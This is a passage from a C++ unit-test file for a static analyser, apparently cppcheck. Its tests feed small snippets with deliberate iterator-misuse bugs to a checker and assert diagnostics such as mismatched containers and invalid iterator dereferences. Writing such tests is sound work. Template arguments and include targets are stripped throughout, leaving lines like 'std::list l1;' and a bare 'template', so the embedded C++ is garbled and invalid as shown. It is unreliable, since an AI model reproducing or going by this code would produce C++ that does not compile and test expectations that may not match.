it;\\n\"\n \" if(z)\\n\"\n \" it = a.begin();\\n\"\n \" else\\n\"\n \" it = t.begin();\\n\"\n \" while (z && it!=a.end())\\n\"\n \" ++it;\\n\"\n \" while (!z && it!=t.end())\\n\"\n \" ++it;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator14() {\n check(\"void f() {\\n\"\n \" std::map x;\\n\"\n \" std::map::const_iterator it;\\n\"\n \" for (it = x.find(0)->second.begin(); it != x.find(0)->second.end(); ++it) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator15() {\n check(\"void f(C1* x, std::list a) {\\n\"\n \" std::list::iterator pos = a.begin();\\n\"\n \" for(pos = x[0]->plist.begin(); pos != x[0]->plist.end(); ++pos) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator16() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" while (it2 != it1)\\n\"\n \" {\\n\"\n \" ++it2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it2 = l2.end();\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::set l1;\\n\"\n \" std::set l2(10, 4);\\n\"\n \" std::set::iterator it1 = l1.begin();\\n\"\n \" std::set::iterator it2 = l2.find(4);\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:35]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator17() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \" it2 = l2.end();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" it1 = l2.end();\\n\"\n \" it1 = l1.end();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" it2 = l1.end();\\n\"\n \" { it2 = l2.end(); }\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iterator18() {\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (++it1 != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" while (it1++ != --it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::list l1, std::list l2)\\n\"\n \"{\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l1.end();\\n\"\n \" if (--it2 > it1++)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"\", \"[test.cpp:5:15]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\", errout_str());\n }\n\n void iterator19() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (it1 != l1.end())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:7:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" if (l1.end() > it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\n \"[test.cpp:7] -> [test.cpp:4]: (error) Same iterator is used with containers 'l1' that are defined in different scopes.\\n\",\n \"[test.cpp:7:19] -> [test.cpp:7:13]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\"\n \"[test.cpp:7:22]: (error) Dangerous comparison using operator< on iterator. [stlBoundaries]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:4:36]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" {\\n\"\n \" std::list l1;\\n\"\n \" std::list::iterator it2 = l1.begin();\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:8:13] -> [test.cpp:7:40]: (error) Same iterator is used with containers 'l1' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set g() {\\n\"\n \" static const std::set s = {1};\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void f() {\\n\"\n \" if (g().find(2) == g().end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:17] -> [test.cpp:6:10]: (error) Same iterator is used with containers 'g()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n\n check(\"std::set f() {\\n\" // #5804\n \" std::set s;\\n\"\n \" return s;\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" for (std::set::iterator it = f().begin(); it != f().end(); ++it) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:6:53] -> [test.cpp:6:41]: (error) Same iterator is used with containers 'f()' that are temporaries or defined in different scopes. [iterators3]\\n\",\n errout_str());\n }\n\n void iterator20() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = it2;\\n\"\n \" while (it1 != l1.end())\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::list l3;\\n\"\n \"std::list::iterator bar()\\n\"\n \"{\\n\"\n \" return l3.end();\\n\"\n \"}\\n\"\n \"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.begin();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" it1 = bar();\\n\"\n \" while (it1 != it2)\\n\"\n \" {\\n\"\n \" ++it1;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:13] -> [test.cpp:10] -> [test.cpp:11]: (error) Comparison of iterators from containers 'l1' and 'l2'.\\n\", \"\", errout_str());\n\n }\n\n void iterator21() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" if (it2 != it1)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:6:36]: (error) Iterators of different containers 'l2' and 'l1' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list::iterator it1 = l1.end();\\n\"\n \" std::list::iterator it2 = l2.begin();\\n\"\n \" if (it1 != it2 && it1 != it2)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:5:36]: (error) Iterators of different containers 'l1' and 'l2' are used together. [mismatchingContainers]\\n\", // duplicate\n errout_str());\n }\n\n void iterator22() { // #7107\n check(\"void foo() {\\n\"\n \" std::list &l = x.l;\\n\"\n \" std::list::iterator it = l.find(123);\\n\"\n \" x.l.erase(it);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator23() { // #9550\n check(\"struct A {\\n\"\n \" struct B {\\n\"\n \" bool operator==(const A::B& b) const;\\n\"\n \" int x;\\n\"\n \" int y;\\n\"\n \" int z;\\n\"\n \" };\\n\"\n \"};\\n\"\n \"bool A::B::operator==(const A::B& b) const {\\n\"\n \" return std::tie(x, y, z) == std::tie(b.x, b.y, b.z);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator24() {\n // #9556\n check(\"void f(int a, int b) {\\n\"\n \" if (&a == &b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a, int b) {\\n\"\n \" if (std::for_each(&a, &b, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (error) Iterators of different containers 'a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(int a) {\\n\"\n \" if (std::for_each(&a, &a + 1, [](auto) {})) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator25() {\n // #9742\n check(\"struct S {\\n\"\n \" std::vector& v;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" bool operator()(const S& lhs, const S& rhs) const {\\n\"\n \" return &lhs.v != &rhs.v;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator26() { // #9176\n check(\n \"#include \\n\"\n \"int main()\\n\"\n \"{\"\n \" std::map m{ {\\\"a\\\", 1} };\\n\"\n \" if (auto iter = m.find(\\\"x\\\"); iter != m.end()) {\\n\"\n \" return iter->second;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator27() {\n // #10378\n check(\"struct A {\\n\"\n \" int a;\\n\"\n \" int b;\\n\"\n \"};\\n\"\n \"int f(std::map m) {\\n\"\n \" auto it = m.find( 1 );\\n\"\n \" const int a( it == m.cend() ? 0 : it->second.a );\\n\"\n \" const int b( it == m.cend() ? 0 : it->second.b );\\n\"\n \" return a + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator28()\n {\n // #10450\n check(\"struct S {\\n\"\n \" struct Private {\\n\"\n \" std::list l;\\n\"\n \" };\\n\"\n \" std::unique_ptr p;\\n\"\n \" int foo();\\n\"\n \"};\\n\"\n \"int S::foo() {\\n\"\n \" for(auto iter = p->l.begin(); iter != p->l.end(); ++iter) {\\n\"\n \" if(*iter == 1) {\\n\"\n \" p->l.erase(iter);\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:10:24]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void iterator29()\n {\n // #11511\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto v = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g()' is used with container 'v'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g(int);\\n\"\n \"void f(int i, int j) {\\n\"\n \" auto& r = g(i);\\n\"\n \" auto it = g(j).begin();\\n\"\n \" while (it != g(j).end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:14]: (error) Iterator 'it' referring to container 'g(j)' is used with container 'r'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" auto& r = g();\\n\"\n \" auto it = g().begin();\\n\"\n \" while (it != g().end())\\n\"\n \" it = r.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator30()\n {\n check(\"struct S {\\n\" // #12641\n \" bool b;\\n\"\n \" std::list A, B;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" std::list::iterator i = (b ? B : A).begin();\\n\"\n \" while (i != (b ? B : A).end()) {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iterator31()\n {\n check(\"struct S {\\n\" // #13327\n \" std::string a;\\n\"\n \"};\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \"};\\n\"\n \"bool f(const S& s) {\\n\"\n \" std::string b;\\n\"\n \" return s.a.c_str() == b.c_str();\\n\"\n \"}\\n\"\n \"bool g(const T& t) {\\n\"\n \" std::string b;\\n\"\n \" return t.s.a.c_str() == b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:13]: (error) Iterators of different containers 's.a' and 'b' are used together. [mismatchingContainers]\\n\"\n \"[test.cpp:13:15]: (error) Iterators of different containers 't.s.a' and 'b' are used together. [mismatchingContainers]\\n\",\n errout_str());\n }\n\n void iteratorExpression() {\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(f().begin(), g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:22]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" auto size = f().end() - g().begin();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:18]: (error) Iterators of different containers 'f()' and 'g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:26]: (error) Iterators of different containers 'A().f()' and 'A().g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A{} .f().begin(), A{} .g().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:27]: (error) Iterators of different containers 'A{}.f()' and 'A{}.g()' are used together. [mismatchingContainers]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(begin(f()), end(g()), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:28]: (warning) Iterators to containers from different expressions 'f()' and 'g()' are used together. [mismatchingContainerExpression]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" std::vector& f();\\n\"\n \" std::vector& g();\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" (void)std::find(A().f().begin(), A().f().end(), 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"std::vector& g();\\n\"\n \"void foo() {\\n\"\n \" if(bar(f().begin()) == g().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" auto it = f().end() - 1;\\n\"\n \" f().begin() - it;\\n\"\n \" f().begin()+1 - it;\\n\"\n \" f().begin() - (it + 1);\\n\"\n \" f().begin() - f().end();\\n\"\n \" f().begin()+1 - f().end();\\n\"\n \" f().begin() - (f().end() + 1);\\n\"\n \" (void)std::find(f().begin(), it, 0);\\n\"\n \" (void)std::find(f().begin(), it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it + 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, it, 0);\\n\"\n \" (void)std::find(f().begin(), f().end(), 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end(), 0);\\n\"\n \" (void)std::find(f().begin(), f().end() - 1, 0);\\n\"\n \" (void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, 